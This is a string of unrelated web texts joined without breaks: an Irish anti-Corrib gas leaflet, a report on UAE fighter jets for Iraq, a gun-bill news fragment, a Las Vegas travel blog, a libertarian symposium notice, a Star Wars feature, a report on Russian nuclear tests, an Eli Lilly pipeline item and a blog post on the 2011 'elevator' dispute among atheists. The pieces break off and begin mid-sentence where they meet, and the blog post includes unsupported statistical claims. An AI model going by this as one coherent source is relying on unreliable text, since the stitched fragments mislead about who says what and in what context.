While people in Ireland are suffering in a recession, being told to tighten their belts, to grin and bear the painful cuts to health, education and their dole, the pension levy, the giant oil companies of the world are preparing to remove Ireland’s valuable natural resources and divvy up the billions of euro of profits between their shareholders.
So the next time you hear a politician defending the Corrib Gas fiasco by mentioning the “national interest”, remember that Corrib actually represents a net loss to the Irish exchequer of tens of billions of euro.
One of the arguments you sometimes hear in defence of the Great Oil and Gas Giveaway has to do with “security of supply” – the idea that Ireland will be left without gas if the pipeline from Russia is cut off, and so we need to make it attractive for companies to bring gas ashore here. However, according to Bord Gais, “Ireland’s imported natural gas supplies are sourced from the North Sea. The possibility of gas supplies to Ireland from these sources being restricted is very remote.”
(See www.bordgais.ie/corporate)
And crucially, Ireland’s licensing law gives us no security of supply, because it allows the companies to export our gas rather than sell it to the Irish market.
++++++++++++++
*The figures in detail
€420 billion is a lot of money. However, the true value of Ireland’s gas and oil is probably much higher. Our figure is based on the estimate, issued by the Department of Communications, Energy & Natural Resources (DCENR) in 2006, that the amount of gas and oil in the Rockall and Porcupine basins, off Ireland’s west coast, is 10 BBOE (billion barrels of oil equivalent). Based on the average price of a barrel of oil for 2009 of $60, this works out at $600 billion, or €420 billion. This does not take account of further oil and gas reserves off Ireland’s south coast. The total volume of oil and gas which rightfully belongs to Ireland could be significantly higher. The DCENR has also published much higher estimates at various times. Also, as the global price of oil and gas rises in the coming years, the value of these Irish natural resources will rise further.
++++++++++++++
A better deal is possible
Several countries have recently changed their laws to reclaim a greater share of gas and oil wealth
Even supporters of the Corrib Gas project rarely try to defend the outrageously generous terms of Ireland’s gas exploration laws in public. Instead they rely on the myth that the deal, once done, cannot now be changed. Nothing could be further from the truth.
The existing deal already allows Ireland to halt work on the Corrib Gas field. The licensing terms state: “The Minister may... require that specified exploration, exploitation, production or processing activities should cease... in any case where the Minister is satisfied that it is desirable to do so in order to reduce the risk of injury to the person... or damage to property or the environment.”
In fact, there is a worldwide trend of governments reclaiming ownership of privatised gas and oil reserves. In 2006 in Russia, the state-owned Gazprom took back control from Shell of the largest integrated oil and gas field in the world, Sakhalin-2, after Shell was accused of breaking environmental laws.
Bolivia nationalised its entire gas industry in 2006. At first, the reactions from the corporations and international markets in both cases were furious, with dire warnings given about how the countries would suffer from lost investment. But these warnings came to nothing: in the end the oil giants simply went along with these changes when they realised there were still enormous profits to be made.
There are many examples of successful nationalised oil and gas industries. Norway is one of the best examples of state-controlled extraction of gas and oil. Ironically, a significant chunk of the Corrib Gas profits will benefit the Norwegian people through Statoil, as it is majority-owned by the Norwegian government and has a 36% stake in Corrib.
Venezuela has begun nationalising the industry within the past two years. Most Venezuelans lived in degrading poverty throughout the 20th century, while enormous revenues from oil and gas went to foreign companies and a tiny Venezuelan elite. The government has redirected oil wealth into public spending, bringing health, education and dignity to the poor.
Even if Ireland’s gas and oil fields were not nationalised, hundreds of billions of euro could be raised if Ireland took a similar share in its own gas to that which applies in other countries.
The above text comes from the Dublin Shell to Sea 'All the facts' leaflet. If you'd like copies of that leaflet to distribute contact us at dublins2s@gmail.com or at 086-7362417ABU DHABI — The United Arab Emirates may be offloading up to 10 Mirage 2000-9s to the Iraqi Air Force in March, according to a UAE government source.
The decision comes after the Dec. 15 visit of Iraqi Prime Minister Haider al-Abadi to Abu Dhabi to "discuss mechanisms to enhance cooperation between the two countries and dry up the sources of terrorism."
"The UAE is trying to fortify Iraq's security from north to south, specifically the areas from Baghdad to Erbil," the source said. "Mainly, Erbil because many UAE strategic interests are there with regards to oil and gas investments as well as others."
"During discussions, the UAE offered a batch of upgraded Mirage 2000-9s to Iraq, they are expected to be under 10 aircraft," the source added.
The UAE has 36 multirole Mirage 2000 fighters that have been in service since 1986, 30 of which have been extensively refurbished and then upgraded to the same standard as the newer fleet of 32 Mirage 2000-9s delivered starting in 2003 by France's Dassault Aviation.
The technologies and advanced capabilities that the Mirage 2000-9s incorporate include Dassault's "Rafale technology," with similar modular avionics, an LCD glass cockpit with full night vision goggles compatibility, and advanced sensors and systems, according to the Bader 21 purchase agreement signed in 1998.
At the core of the Mirage 2000-9's navigation and attack system is a Thales-and Dassault -developed modular data processing unit similar to the one used in the Rafale. This serves as the mission computer, manages the navigation and attack system, controls the cockpit display system and generates symbology for the head-up and head-down displays. As a result, the Mirage 2000-9 is claimed to enjoy a world-beating, highly intuitive man-machine interface.
The UAE in 2014 also offered an undisclosed number of Mirage 2000-9s to Egypt as part of its Falcon Eye military satellite deal with France. According to the source, discussions included the possible purchase of 40 Rafale Fighters and the refurbishment of the UAE's Mirage 2000-9 fleet with intent to provide to the Egyptian Air Force.
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The UAE is also completing the purchase of 24 Embraer EMB-314 Super Tucano light strike aircraft for border patrol and anti-insurgency operations. A number of those will also be provided to the Iraqi Air Force, the source said.
"The UAE is also presenting a number of the Super Tucano aircrafts from Brazil before the end of this month for border patrol and counterinsurgency to Iraq," he said. "We are hoping to finalize the deal before the end of the month."
On Jan. 2 Brazilian Air Force commander Gen. Juniti Saito announced that the UAE has begun negotiations for the procurement. He said the UAE wants six of the aircraft to be delivered immediately.
The source added that an undisclosed number of light Russian-made special operations forces tactical weapons will be provided for the Iraqi Army.
"Al-Abadi will be coming back in March to discuss the procedures for providing aircraft and weapons," the source said.
A spokesman for the Iraqi Prime Minister, Sabri Saad, said in December that key issues were discussed during the visit in relation to supporting efforts to fund the reconstruction of affected areas.
"Iraq faces an existential threat and challenge... all countries in the region have reason to cooperation in all political, security and social fields in order to defeat terrorism of [the Islamic State group's] terrorist gangs," he said.
During a November visit, UAE Foreign Minister Sheikh Abdullah Bin Zayed al-Nahyan pledged to support Iraq.
Abdullah said the UAE would continue to back the political process in Iraq, which would lead to security, justice and equality in the unstable country.
"We stand by brotherly Iraq as it is making efforts for reconstruction and achievement of peace and safety and in combating the forces of terrorism, which poses a danger to all the countries of the region and defaces the values of our true religion, Islam," Abdullah said.Pennsylvania Rep. Jamie Santora (R-163) defended his legislation outlawing private gun sales via the implementation of universal background checks during the May 30 airing of Whatever It Takes with Curt Schilling.
On May 28, Breitbart News reported that Santora wants to ban the private sales that Americans have enjoyed since the Second Amendment was ratified in 1791. His vehicle for doing this is an expansion of background checks wherein private gun sales are equated with retail gun sales, thereby forcing a law-abiding co-worker to seek out an agent of the state, fill out paperwork, and get permission–i.e., submit to a background check–before buying a gun from a co-worker. The bill would also |
East Coast or a foreign country? I tell them that Vegas has it all. I can visit New York New York, or the Eiffel tower in Paris (Paris Las Vegas, that is). I can see the Sahara, and visit the great pyramid at Luxor. I can even travel back in time and see the knights in shining armor at the Excalibur. Vegas has it all! Staying at The Cal is a treat in itself. Folks who live in Hawaii who I haven't seen for eons, I'll bump into at The Cal. Oahu is known as The Gathering Place. Well, The Cal is "the gathering place" for Hawaii folks in Vegas even Hawaii transplants who've settled down there. When my wife and I travel to Vegas, we always go with a certain budget in mind making a plan for how much moolah we plan to leave there. Sometimes we get lucky and end up withdrawing money, but most of the time it's a deposit. Our budget doesn't allow us to play all day and all night in the casinos. So we usually spend the daylight hours shopping and visiting different locations. Once the sun disappears behind the mountains, like moths to a flame, we're attracted to the bright lights of the machines. I've often wondered what is it about Vegas that draws us locals. I mean, I know Hawaii people love their gambling, but why do we love it so much more than our Mainland counterparts? My guess is that because our homes cost so much here in Hawaii, everyone is looking for that one big break where we can pay off our mortgage. It doesn't have to be winning Megabucks, but maybe hitting the Wheel of Fortune jackpot just enough to pay off our home, yeah? And maybe a nice Lexus for the garage. Visit the Vegas, baby! blog at HonoluluAdvertiser.com and share with me what is it that attracts you to Vegas. Because once the flight is booked and the rooms are reserved, we're counting down the days for Vegas, baby!I’m very pleased to announce that from April 23-27 of 2012, the Bleeding Heart Libertarian blog will be hosting a virtual symposium on the topic of “Libertarianism and Land!”
The five day event will explore different libertarian perspectives on questions pertaining to the moral justification of and limits on property rights in land. Each day will feature a keynote post from one of our main participants. The other main participants will have the opportunity to respond with posts of their own, and the general public is welcome to participate in the comments thread.
We’ve lined up some terrific people for this event. Our main participants will be:
Eric Mack – Professor of Philosophy at Tulane University
Hillel Steiner – Professor of Political Philosophy at the University of Manchster
Fred Foldvary – Lecturer in Economics at Santa Clara University
Kevin Carson – Blogger and author
David Schmidtz – Professor of Philosophy and Economics at the University of Arizona
More information to follow as the date draws nearer. I hope you’ll join us for what I think will be a fascinating discussion!Garrick Hagon as Biggs Darklighter in "Star Wars: Episode IV - A New Hope." Vimeo/Lucasfilms For decades "Star Wars" fans have heard how imporant the Biggs Darklighter character is. Now there's a short documentary that pays tribute to one the saga's most popular minor characters.
In "Star Wars: Episode IV - A New Hope," we're introduced to Biggs, a mustache-rocking ol' buddy of Luke Skywalker who perished in Luke's X-wing trench run to destroy the Death Star.
On the surface, Biggs was just one of the Rebel X-wing pilots we grew a liking to during the battle sequence, like Wedge Antilles and Jek Porkins. But in previous versions of George Lucas' script for "A New Hope," Biggs played a much larger role in the film, as he's Luke's best friend back on Tatooine.
Biggs looking fashionable in a cape for his scene on Tatooine. Lucasfilms Now in Jamie Benning's documentary, "Blast it Biggs! Where are you?!," Biggs Darklighter is finally in the spotlight.
The 16-and-a-half minute short looks at rare photos and the Biggs' deleted scenes, with voiceover throughout from an interview with the actor who played Biggs, Garrick Hagon.
Vimeo/Lucasfilms One Briggs deleted scene was supposed to be in the beginning of "A New Hope" where Biggs tells Luke he's leaving the Imperial Academy to join the Rebel Alliance. The other is later in the movie when the two reunite before they get in their X-wings to take on the Death Star. The latter scene George Lucas put back into the movie for the film's 1997 rerelease.
In the short, Hagon admits his disappointment when he first saw the film and realized that most of his scenes were taken out.
"It was admiration and a thrill mixed with disappointment," Hagon said in the short. "Because I realized what a chunk [of my scenes] had gone."
But Biggs has lived on in the "Star Wars" universe. The novels and comics that were published following the popularity of the original trilogy get into more detail about Biggs and Luke's friendship, as well as Biggs' time at the Academy.
"Empire or Rebellion? Briggs Darklighter's fateful decision." Dark Horse
Watch the short below:With the U.S. and Russia deadlocked over a plan by NATO to deploy a European missile defense system, Moscow showed the world what it meant by “technical response” last week by holding what has been described as the most comprehensive test of its strategic nuclear arsenal since the collapse of the Soviet Union in 1991.
According to Russian media, President Vladimir Putin, whom critics have accused of overplaying the nuclear threat from the West to boost his political fortunes domestically, oversaw the entire series of tests, which were conducted mostly on Oct. 19. All three components of Moscow’s nuclear “triad” — strategic bombers, land and sea-launched long-range nuclear missiles — as well as communications and command-and-control systems featuring “new algorithms,” were tested.
The tests included the launch of an RS-12M Topol Intercontinental Ballistic Missile (ICBM) from Plesetsk in northern Russia — the world’s first operational ICBM base, built in the 1950s — and an R-29R from a submerged submarine operating in the Sea of Okhotsk. Both missiles traveled a distance of more than 6,000km before hitting their targets. Meanwhile, two long-range bombers, a Tupolev Tu-95 “Bear” and a Tu-160 “Blackjack,” each fired two nuclear-capable cruise missiles at a test range in Komi, northwestern Russia. All the missiles involved were fitted with dummy warheads.
In a statement, the Kremlin said the strategic nuclear forces exercise was “conducted on such a scale for the first time in the modern history of Russia.”
According to Russian media reports in January, the Russian military is scheduled to conduct 11 ICBM trials in 2012, including seven launches for experimental programs and four to extend the service life of existing missiles “with a view to piercing missile defense systems.” Among the new missiles tested is the road-mobile multiple independently targetable re-entry vehicle-ed, or MIRVed, Yars RS-24 ICBM, which entered service in summer 2011. Russia also successfully tested a new medium-weight ICBM in May that is reportedly capable of defeating anti-missile defense systems, which Moscow said was directly aimed at the NATO-led missile defense initiative.
While the Russian military has conducted such tests, albeit on a much smaller scale, for years, Friday’s much-publicized tests sent a clear signal to Washington and its NATO allies amid fears in Moscow that a planned European missile defense shield, which the West claims is targeted at Iran, will undermine its nuclear deterrent. Although Russia and NATO agreed to cooperate on missile defense during a summit in Lisbon, Portugal, in 2010, Moscow has balked at Washington’s refusal to provide legally binding guarantees that the missile shield will not be targeted at Russia’s deterrent forces. For similar reasons, Putin has also been reluctant to move ahead with the cuts proposed in the 2010 New START treaty.
Since 2008, Moscow has also threatened to deploy Iskander-M road-mobile tactical ballistic missile systems in the western Kaliningrad exclave, which borders Poland and Lithuania, should NATO and Russia fail to reach an agreement on the missile defense system. In July, Moscow allocated USD1.2 billion to modernize the Iskander, which entered service with the Russian military in 2006. With a range of approximately 400km, the missile can be equipped with both conventional and nuclear warheads.
With Republican presidential candidate Mitt Romney recently accusing U.S. President Barack Obama of being a weak negotiator on the defense shield issue, there is little doubt that last week’s “triad” exercise, which made every effort to show a Putin clearly in charge of his country’s nuclear arsenal, was meant to exert pressure on the two contenders to the White House. Romney has openly stated that he regards Russia as an enemy, a position that, were he elected in November, would ostensibly translate into a renewed commitment to the missile defense program and validate Putin’s push for a more modern missile arsenal (in the process giving him the means to bolster his support at home).
Conversely, Moscow’s saber rattling could convince opponents of the missile defense program that there exists a direct link between the program and Moscow’s renewed interest in a more muscular nuclear force. This, in turn, could translate into further pressure on a re-elected Obama to extend the guarantees sought by Moscow, and thus ensure that Russia retains its nuclear deterrent.
Either way, Putin comes out the winner.Indianapolis-based pharmaceutical giant Eli Lilly (lly) laid out an ambitious R&D agenda for launching up to 20 new drugs by 2023 during an investor presentation on Tuesday. The company also said it hopes to add a significant number of uses for its existing therapies in order to bolster those drugs’ market strength.
Lilly said that it would be focusing on key franchises such as diabetes, oncology, and neurodegenerative diseases like Alzheimer’s and add immunology to its roster of core therapeutic spaces. In addition, the firm hopes that its emerging focus on non-opioid pain therapies will become fertile ground for new drugs.
“There are no guarantees given the nature of science and of our business,” admitted Lilly CEO John Lechleiter. “However, in looking at our recent launches and current pipeline, we believe we are in the midst of the most prolific period of new launches in our company’s 140-year history.”
Click here to subscribe to our new Brainstorm Health Daily Newsletter.
The firm’s announcement is, in some ways, a recognition of its recent struggles with developing new drugs. Lilly had just one new therapy approved in 2015, the advanced lung cancer drug Portrazza. But the pharma also had to ditch one of its pipeline stars, a cardiovascular treatment meant to boost “good” HDL cholesterol, after determining that it would likely be ineffective for patients.
An outsize share of Lilly’s revenues have flowed from drugs that are more than 10 years old, according to life sciences analytics firm EP Vantage.
Eli Lilly issued a fairly conservative 2016 earnings outlook earlier this year. The company also recently bought up 30,000 square feet of laboratory space in New York City in order to assist its R&D ambitions by bringing it closer to local academic institutions and research labs.Thanks for checking out our blog. Don't forget to browse the archives. What kind of a stupid name is "The Shrubbloggers"? | Why is there a "2.0" next to the crappy logo? | You could well starve if you feed on our RSS. Wherein I Go Apoplectic
I’m going to write two blog posts about this, because it fascinates me so much and I’d like to approach it differently, for different audiences. This first post will be followed up by a second on The Lesson Applied at a later date. You can expect this one to be a bit more charged. This will be a rather long post, so brace yourself. Much back story is needed to set all of this up properly, and it delves into atheism (for a part), skepticism, feminism, and rational thought, among other topics. I can’t promise that I’ll get the whole story straight, as it is a bit muddied, but I will do my best. I’ll be happy to correct any factual errors. I’ll be willing to modify any speculation made by myself if persuaded. Where I will welcome all challengers, however, is in the opinions I reach about the whole affair, great or small. Before I begin, a few disclosures about my preconceptions of the main players, least I be blamed for any type of confirmation bias: Before a few days ago, I had never heard of Rebecca Watson (aka Skepchick). I have since read through several of her blog posts and have watched some of her videos. I think I understand her shtick and have no real problem with it, in and of itself. I do have problems with it in the context of what I’ll be writing about below.
I have read several of Richard Dawkins’s books and have frequented his website from time to time. I like his personality and have no problems with his ideas on atheism, although his delivery methods have made me squeamish from time to time. I have frequently and loudly derided his enthusiasm for the moniker The Brights, for example. People like Christopher Hitchens agree.
P.Z. Myers has crossed my radar a few times in the past, but never about scientific/skeptical issues. I can’t vouch for his scientific knowledge, but I assume he knows what he’s talking about, given that he’s a highly regarded figure in the scientific community. The area where I have taken strong issue with Myers is in his take on libertarians. See here, here, and here for examples. My take on libertarian thought is well documented, as you can see elsewhere on this blog or over at The Lesson Applied, so it’s only honest to say that I have somewhat of a dog in this fight. But this particular post isn’t about libertarianism. I’ll try not to belabor this point too much, but it ties directly into how P.Z. Myers conducts himself in what I’ll be writing about below. Suffice it to say, I find his opinions on the matter lazy, unoriginal, vacuous, and far beneath any reasonable measurement of “rational thought.” Phil Pliat (aka The Bad Astronomer) is someone I came across about five years ago, peripherally, when I started reading books by Richard Dawkins and Sam Harris. I also have an amateur’s interest in cosmology, so I always enjoyed reading his posts. To date, I’ve not read his book and have only rarely visited his blog in the past year or so. A few notes on some beliefs I hold, relevant to this subject … I am an atheist myself, but apart from some writings back and forth a few years ago, I mostly keep that to myself now. I don’t think that I, or anyone else, is intellectually superior for being an atheist. Too many people conflate being an atheist with being intellectually superior to everyone who isn’t, which I find amusing. As you’ll hopefully see in what I’m about the write, atheists, “free thinkers,” and skeptics are just as prone to cliquish behavior, psychological biases, cognitive dissonance, and downright willful ignorance. As for feminism: I have serious problems with feminist ideology when it deviates from equality for both sexes. I am happy to concede that women, as a gender, have their problems. I am more than happy to educate myself about those problems and help work towards an equatable solution. I would hope, that in return, feminists acknowledge that men, as a gender, have their own problems. I’ve talked to very few feminists who will concede this point. But, apart from rampant objectification of men in society (turn on any sitcom at anytime and witness the oafish man that is there but for the grace of his girlfriend/wife), let me point this out, just as a primer. According to many feminists, girls are oppressed into gender roles early on by the Patriarchy. May I suggest trying to imagine yourself as a young boy growing up in rural Texas or Montana and showing absolutely no interest in sports? Also victims of the Patriarchy? Do mothers not shame their sons into pursuing these goals as well? Do young women reward socially awkward, chess club members with physical and emotional affection? Or, are they instead labeled creeps or nerds? Once people realize that both genders have their problems and social pressures they must adapt to, they can start learning to work towards equality. But when those problems are flatly ignored, or, worse, denied for half the population by the very people who should be most sensitive to gender equality, well, you can understand why there’s quite a bit of cynicism out there. Granted, this is an oversimplification to a very complex problem, probably better left for a longer post later on, but I wanted to put it out there for the sake of honesty. This is how I’m approaching this debate. Onward: On June 20, 2011, Rebecca Watson posted a video on YouTube and her blog discussing random goings-on in her life and her recent panel discussions at an atheist convention in Dublin. At around the 4:30 mark (I encourage you to watch the entire video so you can put this completely into context), she says: … so I walk to the elevator, and a man got on the elevator with me and said, “Don’t take this the wrong way, but I find you very interesting, and I would like to talk more. Would you like to come to my hotel room for coffee?” Um, just a word to wise here, guys, uh, don’t do that. You know, I don’t really know how else to explain how this makes me incredibly uncomfortable, but I’ll just sort of lay it out that I was a single woman, you know, in a foreign country, at 4:00 a.m., in a hotel elevator, with you, just you, and — don’t invite me back to your hotel room right after I finish talking about how it creeps me out and makes me uncomfortable when men sexualize me in that manner … So far, so good. At first blush, I don’t have much of a problem with this. We all have our discomforts and we are all free to express them. However: There has been an incredible amount of speculation as to the circumstances surrounding this event, and I’ve taken the time to read through several accounts. Some of this is supposition, but most of it is based how Watson has described the evening. Watson and others were in the hotel bar until around 3:30 to 4:00 a.m. There was a recent discussion revolving around sexism and feminism in the atheist community. It is unclear whether the man in the elevator was present for this discussion. At the end of the night, Watson said something to the effect of, “I’m tired and I want to go to bed,” and excused herself to do so. Again, it is unclear whether the man in the elevator followed her or whether he too decided it was time for bed and also excused himself. In the end, I don’t think any of this really matters, in the slightest. What we do know (according to Watson’s own account) is the following. As they were riding the elevator, he turned to her and said, “Don’t take this the wrong way, but I find you very interesting, and I would like to talk more. Would you like to come to my hotel room for coffee?” There is no talk about him being threatening. No talk of leering or aggressive body language. No talk of anything at all, really. He asked a question; it’s assumed that she politely declined, and that was it. I assume they got off at their respective floors and went on their way. Of course, it can probably be safely assumed that “coffee” means “sex.” But, without the benefit of reading this gentleman’s mind, I can’t ascertain that with perfect certainty. It is possible, I suppose, that he really meant just having a cup of coffee. Before I wade into the resulting explosion in the skeptic/atheist community, I’m going to tip my hand, here. Regardless of how Watson felt about the incident, if I’m to take her version of events as an accurate accounting of what happened, I pretty much see nothing wrong with anything that transpired that night. Without casting aspersions upon the gentleman in the elevator or making any assumptions on his awkwardness or lack thereof, this kind of thing happens thousands of times a day, all over the world. Men ask women for sex. And, surprisingly, women also approach men and ask them for sex. We do this whole dance about “coffee” because it’s a psychological defense that allows both sexes to pretend that if the offer is made and rejected, it really was just about coffee. In fact, asking someone out for coffee as a euphemism is a whole hell of a lot LESS creepy than just saying, “hey, wanna go fuck?” I’m not saying this as a criticism to Watson. I’m not obtuse enough that I can’t mentally put myself in an elevator at 4:00 a.m. in the morning with a strange man and imagine how that might make me uncomfortable, or fearful. That’s fine. I get it. But where I draw the line is her making sweeping statements for all men and women as a reaction to that fear. Um, just a word to wise here, guys, uh, don’t do that. You know, I don’t really know how else to explain how this makes me incredibly uncomfortable … If Watson feels uncomfortable being alone with a man in an elevator during its 40-second accent, that’s fine. However, the correct thing to say here is, “Men, don’t do that to ME.” This would be a perfectly rational, sane, defensible, and responsible thing to say. It clearly delineates boundaries. It lets the rest of us know what you are and what you are not comfortable with. Problem solved. What Watson is blind to, and what I take exception to, is the idea that many women don’t feel uncomfortable in that situation. In fact, I’ll wager a guess that that line of approach has worked for scores of men AND women. She is also blind to the way that she is treating men in general. I know it’s a cheap trick, but this is a fast way to get my point across. Let me just change what Watson said slightly and see if you feel any differently: … so I walk to the elevator, and a black man got on the elevator with me and said, “Don’t take this the wrong way, but I like those shoes you have on, and I would like to talk more. Would you like to come to my hotel room for coffee?” Um, just a word to wise here, black guys, uh, don’t do that. You know, I don’t really know how else to explain how this makes me incredibly uncomfortable, but I’ll just sort of lay it out that I was a smaller white man, you know, in a foreign country, at 4:00 am, in a hotel elevator, with you, just you, and — don’t invite me back to your hotel room right after I finish talking about how it creeps me out and makes me uncomfortable when black men talk about shoes in that manner … Racist and reprehensible. The very definition of base human thought. And yet, if I take a page from the Watson’s defenders, I would have every right not only to feel that way, but to say publicly that I feel that way, without recourse. After all, just as most rapists are men, there are more African-American men in prison for violent crimes than any other race or gender, so it must follow that my fears were justified. These are verifiable, yet unnuanced, facts. Yes, most perpetrators of rape toward women are men — unless we are talking about our astronomical prison population, in which case, men also consist of the overwhelming number of victims. There is no hard statistical evidence, but the incidence of prison rape is so monumental that it nearly brings the instances of man-on-woman rape down to parity. Also not mentioned is that the majority of non-consensual sex occurs in situations where the two people know each other in some way. All the way from casual acquaintances to close family members. Women being raped by strangers is certainly not rare, but it’s not anywhere near the level where anyone should feel uncomfortable (to an irrational level) sharing an elevator ride with a man who asks you to his room for “coffee.” As for the African-American man analogy, although it is true that there are more African-American men in prison than of any other race or gender, a closer look explains much of that statistic away when one examines how our immoral and — dare I say, irrational — War on Drugs has done everything it can to destroy the African-American community. But, to be fair to Watson, she never brought up the specter of rape. She did, however, imply it, as unintentional as that may have been. She was just talking about “creepy behavior,” here, but “creepy” is just too subjective to define. This is sexism defined. Watson expects all men everywhere to curb their behavior to a level she finds “comfortable,” while not bothering to take into account that many other women may, in fact, not mind being propositioned in such a way. Before I move on to the other players in this docudrama, this is the very crux of what bothers me about Rebecca Watson. Most of her shtick is the “geeky, nerdy, hot girl who likes to talk atheism and skepticism and stuff.” I’m not denigrating her by saying that, because I’ve watched a number of her videos and read through her blog, and I’m impressed by her intelligence. She’s articulate, well-spoken, and has a grasp on complex and complicated problems. But she also does a good deal to sexualize herself. She plays the “hot geeky girl” angle to the hilt. There have been Skepchick pinup calendars, sexually suggestive blog posts, public sexual innuendo, cutesy and provocative pictures, etc., etc., etc. There is absolutely nothing in the world wrong with this. I find it all a bit obnoxious after a while, only because I get bored easily and would like to skip to the substance rather than linger on the filler, but that’s a personal preference. I’m not going to Dawkins’s or Hitchens’s websites for their sex appeal, for example. It seems to me that this is what gender equality is all about. Women shouldn’t hide their sexuality or apologize for it, just like men shouldn’t hide or apologize for theirs. If you don’t want to be “sexualized in that way,” don’t sexualize yourself in that way. You can’t justify the opinion that women talking about sex is liberating, but a man talking to her about sex is objectifying. As a final note, one has to wonder what exactly Watson’s objection is, here. Was it the come-on, or where the come-on took place? Had this happened in the corner of a crowded lobby, for example, would we be hearing about it? And was she really being “sexualized” at all? If you parse out the language, I don’t think even that plays out: Don’t take this the wrong way, but I find you very interesting and I would like to talk more This takes whatever “creepy” factor there was way down. The guy obviously cares about what she thinks of him, and about the overall situation. He’s genuflecting and trying to connect to her on an intellectual level (however awkward it may be). It sounds like this gentleman was attracted to the whole package, not just tits and ass. Is that sexualization? Don’t men and women get together all the time based on mutual attraction, and fornicate? What’s the problem, here? Phase Two: The Plot Thickens. I’m not the only one who is thinking along these lines, and thank goodness for that. On June 22, Stef McGraw posted what I thought was a well-thought-out rebuttal to the original video. Here’s the money quote: Watson is upset that this man is sexualizing her just after she gave a talk relating to feminism, but my question is this: Since when are respecting women as equals and showing sexual interest mutually exclusive? Is it not possible to view to take interest in a woman AND see her as an intelligent person? Someone who truly abides by feminist principles would, in my view, have to react in the same manner were the situation reversed; if a woman were to engage a man in the same way, she would probably be creeping him out and making him uncomfortable and unfairly sexualizing him, right? But of course no one ever makes that claim, which is why I see Watson's comment as so hypocritical. If you really want social equality for women, which is what feminism is, why not apply the same standards to men and women, and stop demonizing men for being sexual beings? Yup, pretty much exactly what I said above. Things start to rapidly fall apart from here, and Watson is to blame for it. In a boorish move, while giving a talk about the Religious Right’s War on Women at the CFI’s Leadership Conference, Watson publicly called out Stef McGraw — who was sitting in the audience, with no chance to defend herself. From Watson’s blog: I pointed out that she posted a transcript of my video but conveniently left off the fact that I had already expressed my desire to go to sleep. I also pointed out that approaching a single woman in an elevator to invite her back to your hotel room is the definition of “unsolicited sexual comment.” But those are unimportant details in comparison to the first quoted sentence, which demonstrates an ignorance of Feminism 101 – in this case, the difference between sexual attraction and sexual objectification. The former is great – be attracted to people! Flirt, have fun, make friends, have sex, meet the love of your life, whatever floats your boat. But the latter involves dismissing a person’s feelings, desires, and identity, with a complete disinterest in how one’s actions will affect the “object” in question. That’s what we shouldn’t be doing. No, we feminists are not outlawing sexuality. I hear a lot of misogyny from skeptics and atheists, but when ancient anti-woman rhetoric like the above is repeated verbatim by a young woman online, it validates that misogyny in a way that goes above and beyond the validation those men get from one another. It also negatively affects the women who are nervous about being in similar situations. Some of them have been raped or otherwise sexually assaulted, and some just don’t want to be put in that position. And they read these posts and watch these videos and they think, “If something were to happen to me and these women won’t stand up for me, who will?” Here’s where we start to descend into irrational tripe disguised as righteous dogma. It is important to take note (because this will be a HUGE factor later on in this post) that Watson isn’t complaining about feeling threatened in an elevator late at night, here. Her complaint is her feeling of being objectified. Oh, and it just happened to happen on an elevator. This is a classic shaming tactic, used in an unforgivable condescending tone from someone who calls herself a “free thinker.” Basically, she’s saying, if you don’t believe that I was objectified, you’re a misogynist. If you’re a young woman who questions if I was objectified, you can’t help it, you’re just parroting “ancient anti-woman rhetoric.” You’re a victim of the patriarchy, you poor young thing. But it’s OK. I’m here to help you through this. This is offensive to the point of stupidity, and nobody should ever accept being talked to in that tone. So, this is where Watson loses me. Her original post was flawed, but fine, as things go. She felt uncomfortable, she expressed that (in a poor way), and as a “free thinker” she should by definition be open to criticism without resorting to vile behavior. Ah, but it gets so much better. After several people took Watson to task for her boorish behavior at the CFI conference, P.Z. Meyers waded into the swamp with a classic bait-and-switch tactic. You’ll have to read it for yourself, because it is rather long, but here’s a paraphrase: That guy in the elevator was a complete and total creep. Men and women are equals, but they really aren’t equals, so men should know better than to ever talk to them in any way that they might find creepy or make them uncomfortable. Don’t ever approach them about sex, because that’s inappropriate and it’s “unwanted pressure.” Also, all men see women as “lower status” creatures, but they’re totally equal, and stuff. Oh, and yeah, that guy was a total creep and probably a rapist. But I don’t want to talk about that, so I’ll get to my point. He insisted that how Watson conducted herself at the CFI conference was defensible and not passive aggressive. He likes it when people “name names.” Which is fine. I get it. Debate should be open and free, especially among those who call themselves “free thinkers.” (See how I keep harping on that point?) Here’s what he says: As Watson says, she loathes passive-aggressive behavior. So do I, and this is a fine example of it. Name names, always name names, and always do your best to be specific. It is right and proper as good skeptics to confront and provoke and challenge, and you have to be direct about it. Would it have been better if Rebecca had talked vaguely about broad-stroke disagreements, fuzzily mentioning some unnamed persons with some unrecognizably blurred wording of disagreement, and then taken that blank-faced effigy to task? I don’t think so. It also would have been a tactic to blunt subsequent rebuttals. But that’s not the point, here. The point is, Watson used her time on a panel addressing the Religious Right’s War on Women to publicly call out a member of the audience who wrote on a blog something about her with which she happened to disagree. Name names? Well, sure. Get on your video blog and respond that way. Don’t waste everyone else’s time talking about something you weren’t invited to talk about, while at the same time tying a woman’s valid criticism (as unintentionally as it may have been) to right-wing bigotry. And certainly don’t do it in a way where she can’t respond. On top of that, don’t make lame excuses later that she could have used the Q&A session afterward to state her claim, especially when you yourself have stated in the past that you don’t appreciate people who use up Q&A sessions as a way to facilitate a debate. As I said before … very boorish behavior. P.Z. Myers misses this point, completely: And now, of course, Watson is getting all this heat because she was willing to stand and deliver the goods. Disagree with her all you want, but apparently, you’re not supposed to be confronted over your differences, ever. You can name Rebecca Watson as a villain, but she can’t take you to task over your characterization. When did skepticism become a one way street? Stupid and lazy thinking. Watson was free to name names and respond all she wanted, on her own time and on her own dime. That this escapes Myers is nothing but a mystery to me. This is right about where Richard Dawkins comes into the picture. In the comment section of Meyers’s blog, Dawkins wrote: Dear Muslima Stop whining, will you. Yes, yes, I know you had your genitals mutilated with a razor blade, and... yawn... don’t tell me yet again, I know you aren't allowed to drive a car, and you can’t leave the house without a male relative, and your husband is allowed to beat you, and you’ll be stoned to death if you commit adultery. But stop whining, will you. Think of the suffering your poor American sisters have to put up with. Only this week I heard of one, she calls herself Skep“chick”, and do you know what happened to her? A man in a hotel elevator invited her back to his room for coffee. I am not exaggerating. He really did. He invited her back to his room for coffee. Of course she said no, and of course he didn’t lay a finger on her, but even so... And you, Muslima, think you have misogyny to complain about! For goodness sake grow up, or at least grow a thicker skin. Richard This is when everyone starts to go ape-shit crazy, of course. But I think there’s a great deal of astuteness in this statement. It has always really bothered me, for example, that western feminists seem to turn a completely blind eye to horrific, barbaric, and downright evil conditions that the majority of women live under in underdeveloped or developing countries. Forced abortions in China. Women stoned in Iran. Girls suffering acid attacks for daring to go to school in 